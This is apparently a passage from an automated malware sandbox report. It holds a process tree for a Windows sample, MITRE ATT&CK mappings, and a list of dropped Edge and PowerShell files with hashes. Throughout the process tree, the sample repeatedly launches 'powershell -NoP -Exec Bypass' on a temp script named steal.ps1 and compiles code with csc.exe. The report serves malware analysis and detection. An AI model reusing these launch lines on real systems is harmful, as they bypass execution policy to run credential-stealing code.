    powershell -NoP -Exec Bypass -File "C:\Users\Admin\AppData\Local\Temp\steal.ps1"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious use of AdjustPrivilegeToken
    PID:1412
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\mmkcb15i\mmkcb15i.cmdline"
      4⤵
      PID:2400
    - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESCEC6.tmp" "c:\Users\Admin\AppData\Local\Temp\mmkcb15i\CSC6B77581527954630911AAC2BB833DC2.TMP"
        5⤵
        
        PID:2276
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c powershell -NoP -Exec Bypass -File "C:\Users\Admin\AppData\Local\Temp\steal.ps1"
  2⤵
  - Executes a command shell one-liner
  PID:4440
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoP -Exec Bypass -File "C:\Users\Admin\AppData\Local\Temp\steal.ps1"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious use of AdjustPrivilegeToken
    PID:1712
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\cty523nc\cty523nc.cmdline"
      4⤵
      PID:2644
    - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESE089.tmp" "c:\Users\Admin\AppData\Local\Temp\cty523nc\CSC33485F67BD4B48F097F2D42EB19E9A0.TMP"
        5⤵
        
        PID:3888
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c powershell -NoP -Exec Bypass -File "C:\Users\Admin\AppData\Local\Temp\steal.ps1"
  2⤵
  - Executes a command shell one-liner
  PID:4304
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoP -Exec Bypass -File "C:\Users\Admin\AppData\Local\Temp\steal.ps1"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious use of AdjustPrivilegeToken
    PID:3380
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\pgwyjqxt\pgwyjqxt.cmdline"
      4⤵
      PID:2440
    - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESF7CA.tmp" "c:\Users\Admin\AppData\Local\Temp\pgwyjqxt\CSC2832FA9B6AF048DE9C2D11974E13E6.TMP"
        5⤵
        
        PID:4424
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c powershell -NoP -Exec Bypass -File "C:\Users\Admin\AppData\Local\Temp\steal.ps1"
  2⤵
  - Executes a command shell one-liner
  PID:1832
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoP -Exec Bypass -File "C:\Users\Admin\AppData\Local\Temp\steal.ps1"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious use of AdjustPrivilegeToken
    PID:4928
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\sptpwa2s\sptpwa2s.cmdline"
      4⤵
      PID:4212
    - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESA68.tmp" "c:\Users\Admin\AppData\Local\Temp\sptpwa2s\CSC21EB641DA85F43B3BD2B61EE3286CFA5.TMP"
        5⤵
        
        PID:2524
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c powershell -NoP -Exec Bypass -File "C:\Users\Admin\AppData\Local\Temp\steal.ps1"
  2⤵
  - Executes a command shell one-liner
  PID:1236
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoP -Exec Bypass -File "C:\Users\Admin\AppData\Local\Temp\steal.ps1"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious use of AdjustPrivilegeToken
    PID:5012
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\fccymsk2\fccymsk2.cmdline"
      4⤵
      PID:4432
    - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES1CC7.tmp" "c:\Users\Admin\AppData\Local\Temp\fccymsk2\CSC9A2E401FBF494578A24CAF86246D677C.TMP"
        5⤵
        
        PID:376
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c powershell -NoP -Exec Bypass -File "C:\Users\Admin\AppData\Local\Temp\steal.ps1"
  2⤵
  - Executes a command shell one-liner
  PID:1796
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoP -Exec Bypass -File "C:\Users\Admin\AppData\Local\Temp\steal.ps1"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious use of AdjustPrivilegeToken
    PID:1504
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\jhgogimc\jhgogimc.cmdline"
      4⤵
      PID:1696
    - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES2F16.tmp" "c:\Users\Admin\AppData\Local\Temp\jhgogimc\CSCB2F3FF08631C46A88E926F551AABADCA.TMP"
        5⤵
        
        PID:1920
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c powershell -NoP -Exec Bypass -File "C:\Users\Admin\AppData\Local\Temp\steal.ps1"
  2⤵
  - Executes a command shell one-liner
  PID:4236
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoP -Exec Bypass -File "C:\Users\Admin\AppData\Local\Temp\steal.ps1"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious use of AdjustPrivilegeToken
    PID:1912
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\haf3zh0j\haf3zh0j.cmdline"
      4⤵
      PID:4952
    - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES41C3.tmp" "c:\Users\Admin\AppData\Local\Temp\haf3zh0j\CSCDEE2927A1FB4933A42B3212E8B055.TMP"
        5⤵
        
        PID:4932
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c powershell -NoP -Exec Bypass -File "C:\Users\Admin\AppData\Local\Temp\steal.ps1"
  2⤵
  - Executes a command shell one-liner
  PID:4836
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoP -Exec Bypass -File "C:\Users\Admin\AppData\Local\Temp\steal.ps1"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious use of AdjustPrivilegeToken
    PID:3504
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\ga01lu3o\ga01lu3o.cmdline"
      4⤵
      PID:1604
    - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES54CE.tmp" "c:\Users\Admin\AppData\Local\Temp\ga01lu3o\CSCC0A8F368F6C040E9933FF867E4C26B3F.TMP"
        5⤵
        
        PID:1464
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c powershell -NoP -Exec Bypass -File "C:\Users\Admin\AppData\Local\Temp\steal.ps1"
  2⤵
  - Executes a command shell one-liner
  PID:1936
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoP -Exec Bypass -File "C:\Users\Admin\AppData\Local\Temp\steal.ps1"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious use of AdjustPrivilegeToken
    PID:784
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\ndkncbn1\ndkncbn1.cmdline"
      4⤵
      PID:1032
    - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES6828.tmp" "c:\Users\Admin\AppData\Local\Temp\ndkncbn1\CSCFCEFEA3699164EA182166CB0F9CBF15F.TMP"
        5⤵
        
        PID:4076
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c powershell -NoP -Exec Bypass -File "C:\Users\Admin\AppData\Local\Temp\steal.ps1"
  2⤵
  - Executes a command shell one-liner
  PID:3284
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoP -Exec Bypass -File "C:\Users\Admin\AppData\Local\Temp\steal.ps1"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious use of AdjustPrivilegeToken
    PID:800
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\ukhzvc0r\ukhzvc0r.cmdline"
      4⤵
      PID:648
    - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES7AF4.tmp" "c:\Users\Admin\AppData\Local\Temp\ukhzvc0r\CSCD801BF52CD448D4BDCB6AB9B6A8D532.TMP"
        5⤵
        
        PID:476
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c powershell -NoP -Exec Bypass -File "C:\Users\Admin\AppData\Local\Temp\steal.ps1"
  2⤵
  - Executes a command shell one-liner
  PID:1484
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoP -Exec Bypass -File "C:\Users\Admin\AppData\Local\Temp\steal.ps1"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious use of AdjustPrivilegeToken
    PID:3824
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\zyylmmwd\zyylmmwd.cmdline"
      4⤵
      PID:4592
    - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES9070.tmp" "c:\Users\Admin\AppData\Local\Temp\zyylmmwd\CSCDFDD75CE61724A71BF5C2B1E3ABC154.TMP"
        5⤵
        
        PID:4288
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c powershell -NoP -Exec Bypass -File "C:\Users\Admin\AppData\Local\Temp\steal.ps1"
  2⤵
  - Executes a command shell one-liner
  PID:2656
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoP -Exec Bypass -File "C:\Users\Admin\AppData\Local\Temp\steal.ps1"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious use of AdjustPrivilegeToken
    PID:1400
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\pk2ebxig\pk2ebxig.cmdline"
      4⤵
      PID:2620
    - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESAE97.tmp" "c:\Users\Admin\AppData\Local\Temp\pk2ebxig\CSCAC550B7628F44B49EDC1C5521DD57.TMP"
        5⤵
        
        PID:2000
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c powershell -NoP -Exec Bypass -File "C:\Users\Admin\AppData\Local\Temp\steal.ps1"
  2⤵
  - Executes a command shell one-liner
  PID:2920
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoP -Exec Bypass -File "C:\Users\Admin\AppData\Local\Temp\steal.ps1"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious use of AdjustPrivilegeToken
    PID:540
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\n1rtc0o2\n1rtc0o2.cmdline"
      4⤵
      PID:2952
    - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESC56B.tmp" "c:\Users\Admin\AppData\Local\Temp\n1rtc0o2\CSC3A082C34D88F4367851F737CD617D30.TMP"
        5⤵
        
        PID:1456
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c powershell -NoP -Exec Bypass -File "C:\Users\Admin\AppData\Local\Temp\steal.ps1"
  2⤵
  - Executes a command shell one-liner
  PID:4796
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoP -Exec Bypass -File "C:\Users\Admin\AppData\Local\Temp\steal.ps1"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious use of AdjustPrivilegeToken
    PID:4500
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\sotfty01\sotfty01.cmdline"
      4⤵
      PID:1464
    - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESDCCB.tmp" "c:\Users\Admin\AppData\Local\Temp\sotfty01\CSC515760DA497C4E368BE208C347E63CB.TMP"
        5⤵
        
        PID:2968
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c powershell -NoP -Exec Bypass -File "C:\Users\Admin\AppData\Local\Temp\steal.ps1"
  2⤵
  - Executes a command shell one-liner
  PID:3964
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoP -Exec Bypass -File "C:\Users\Admin\AppData\Local\Temp\steal.ps1"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious use of AdjustPrivilegeToken
    PID:3896
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\hhc5yygw\hhc5yygw.cmdline"
      4⤵
      PID:2368
    - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESF0A1.tmp" "c:\Users\Admin\AppData\Local\Temp\hhc5yygw\CSC56D0194571D4047820A647DDC1366.TMP"
        5⤵
        
        PID:4392
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c powershell -NoP -Exec Bypass -File "C:\Users\Admin\AppData\Local\Temp\steal.ps1"
  2⤵
  - Executes a command shell one-liner
  PID:2076
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoP -Exec Bypass -File "C:\Users\Admin\AppData\Local\Temp\steal.ps1"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious use of AdjustPrivilegeToken
    PID:1588
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\notdavoi\notdavoi.cmdline"
      4⤵
      PID:3480
    - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES17A.tmp" "c:\Users\Admin\AppData\Local\Temp\notdavoi\CSC91EE41C46FF84BD3B6BD3115F7343D3.TMP"
        5⤵
        
        PID:2988
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c powershell -NoP -Exec Bypass -File "C:\Users\Admin\AppData\Local\Temp\steal.ps1"
  2⤵
  - Executes a command shell one-liner
  PID:4420
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoP -Exec Bypass -File "C:\Users\Admin\AppData\Local\Temp\steal.ps1"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious use of AdjustPrivilegeToken
    PID:4064
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\oa32xfn2\oa32xfn2.cmdline"
      4⤵
      PID:3316
    - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES1291.tmp" "c:\Users\Admin\AppData\Local\Temp\oa32xfn2\CSC3CEBF192769E4803A2F0F030D25938.TMP"
        5⤵
        
        PID:5072
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c powershell -NoP -Exec Bypass -File "C:\Users\Admin\AppData\Local\Temp\steal.ps1"
  2⤵
  - Executes a command shell one-liner
  PID:1044
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoP -Exec Bypass -File "C:\Users\Admin\AppData\Local\Temp\steal.ps1"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious use of AdjustPrivilegeToken
    PID:2016
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\ctqyph11\ctqyph11.cmdline"
      4⤵
      PID:224
    - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES23E6.tmp" "c:\Users\Admin\AppData\Local\Temp\ctqyph11\CSC54270241643D47768645BDC33E1F8FFF.TMP"
        5⤵
        
        PID:3136
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c powershell -NoP -Exec Bypass -File "C:\Users\Admin\AppData\Local\Temp\steal.ps1"
  2⤵
  - Executes a command shell one-liner
  PID:2900
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoP -Exec Bypass -File "C:\Users\Admin\AppData\Local\Temp\steal.ps1"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious use of AdjustPrivilegeToken
    PID:8
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\dpelka3a\dpelka3a.cmdline"
      4⤵
      PID:1104
    - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES3897.tmp" "c:\Users\Admin\AppData\Local\Temp\dpelka3a\CSCF02922C0654F4EE9A7DD23D575B0234D.TMP"
        5⤵
        
        PID:5080
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c powershell -NoP -Exec Bypass -File "C:\Users\Admin\AppData\Local\Temp\steal.ps1"
  2⤵
  - Executes a command shell one-liner
  PID:1656
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoP -Exec Bypass -File "C:\Users\Admin\AppData\Local\Temp\steal.ps1"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious use of AdjustPrivilegeToken
    PID:1704
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\cn0t41xb\cn0t41xb.cmdline"
      4⤵
      PID:572
    - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES4B25.tmp" "c:\Users\Admin\AppData\Local\Temp\cn0t41xb\CSC97762379E981407E80AE8FD150222167.TMP"
        5⤵
        
        PID:2764
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c powershell -NoP -Exec Bypass -File "C:\Users\Admin\AppData\Local\Temp\steal.ps1"
  2⤵
  - Executes a command shell one-liner
  PID:2064
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoP -Exec Bypass -File "C:\Users\Admin\AppData\Local\Temp\steal.ps1"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious use of AdjustPrivilegeToken
    PID:1168
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\dyxynkzu\dyxynkzu.cmdline"
      4⤵
      PID:3320
    - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES5D74.tmp" "c:\Users\Admin\AppData\Local\Temp\dyxynkzu\CSCDA7C67792E5147EEB015E858FB435166.TMP"
        5⤵
        
        PID:1260

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Browser Information Discovery

T1217

Query Registry

T1012

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

System Time Discovery

T1124

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 3KB
SHA256 21c1647e14826cc1807a7a55ea588f5b7ddaa6b6500b80145586d5fa1a9326fe
MD5 f8d7e7e82b0fa558a5722985f4dd4fbc
SHA1 78acef417e7af90b44374cd8266631c04eb02810
SHA512 aff783178ff109a284c175da6c73c5c765ff776c8e4b9576c5b92b18a7b3b53033c518ae602bb39a40a8be058d9289a71bbc558c4c3f871e786fee244bbe17cb
TLSH
T15471DD313275B0D489567F07192C19C463BF8356FA94AF4CB698620ED92B44BDF222F3
MD5 SHA1 SHA512 TLSH

Submit Download

blocklist

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Ad Blocking\blocklist
Size 105KB
SHA256 a6673ce49b12fdcbb7d76835e1b016504a29767f7212d8e801c405cb7104ab24
MD5 ca6c08209c2d38cddd20d85d8c5dc47a
SHA1 cec1cabd103f18062e7cb4e4d6f0d8b419a6c0bd
SHA512 21049ac949a133b2d3655a743fa48fb77fd023763be431c403808d8b8cc86ade7133ad2fd2407bc2f19378bde77d294fb858d77ccfdd369434389ccbd4e515c6
SSDEEP 1536:B/lv4EsQMNeQ9s5VwB34PsiaR+tjvYArQdW+Iuh57P7V:fwUQC5VwBIiElEd2K57P7V
TLSH
T17AB3B931457E36BF26E93EE828CF1511B84F3912624895D4ABE1FE2C4845E68633CEF4
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 451e8cceeda1b45f932a10154910f7f4081ad392264bd4ae26b94f339c879353
MD5 982e9b64e35f40f5668761e46eb86a53
SHA1 59f45374f4fc5ab9f54764676dcb82f0a777d61e
SHA512 8e7036265693db34a3209fabb2b4ac600a89af8bc3b17926cd3f522a0ecdfc7f311c8abdbb04345976247d0115a9993732899c1320b0bef96cb693344f3c1adc
TLSH
T1EAD02B5CF9556E40F002E534003AB24331889081DC030004C8C0032254C3603046613A
MD5 SHA1 SHA512 TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 6286f37bc2b38dc441bc3c38ce0752bf4b7cb1f25af201da5813e3285cf01ef8
MD5 7a6009b48e09fdfec14739c3c84aabf8
SHA1 55e75e08f4dff3d8eeeb54dbbeba186ac6abdd63
SHA512 947fd8d775cf50613b4149dd7b9fce80fd2f7002651653145f1b5269cb531ab51ef57791b5ae5fee283750c7081a8c05b631f146f230a9c6fdafa5a1d7fd5adf
TLSH
T1B8D02B5CF9956E40F402E5340039B24331889081DC030005C8C0032244C3643046613A
MD5 SHA1 SHA512 TLSH

Submit Download

90ddb1d4-d123-4e02-968a-c8afc07c9bcc.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\90ddb1d4-d123-4e02-968a-c8afc07c9bcc.tmp
Size 70KB
SHA256 31a226211c491e1b0832d4cd3cf34d97165e24a7ce4ec655259cd188f3a2bd88
MD5 efe54a870e0f5ff28d7e00036b861065
SHA1 10663a71c9815382ca5a1689dfcebe737c557b1d
SHA512 4d7ed9d3e22a58f0e169c9200e351d3a938c82ab7920567f67bf29d33b28192329ea05657d1077aebaf2c2b5151eb50c84e5ab590733ff824389566d93381c01
SSDEEP 1536:fAlMWz7vLDtDSVlXXwpFlorgLUxF+nubjUDSlBczkF1D/u1:fvuWAUxFDbY+0zkjDG1
TLSH
T1DA639F406A6479E8E814CBF59C69B7D30B95CFDC51A252E831F4FE7AB681494C90CFC4
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

LOG.old

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\LOG.old
Size 331B
SHA256 5c612a52c44f81ef1ed4ac73ae2a165d88a547d757bbf283d26fc95fd9596173
MD5 ecb6f5a4ddbd1bf2c3adbf414fb79f85
SHA1 b88aa3be68436eb2406131cea39d09a14462a1ed
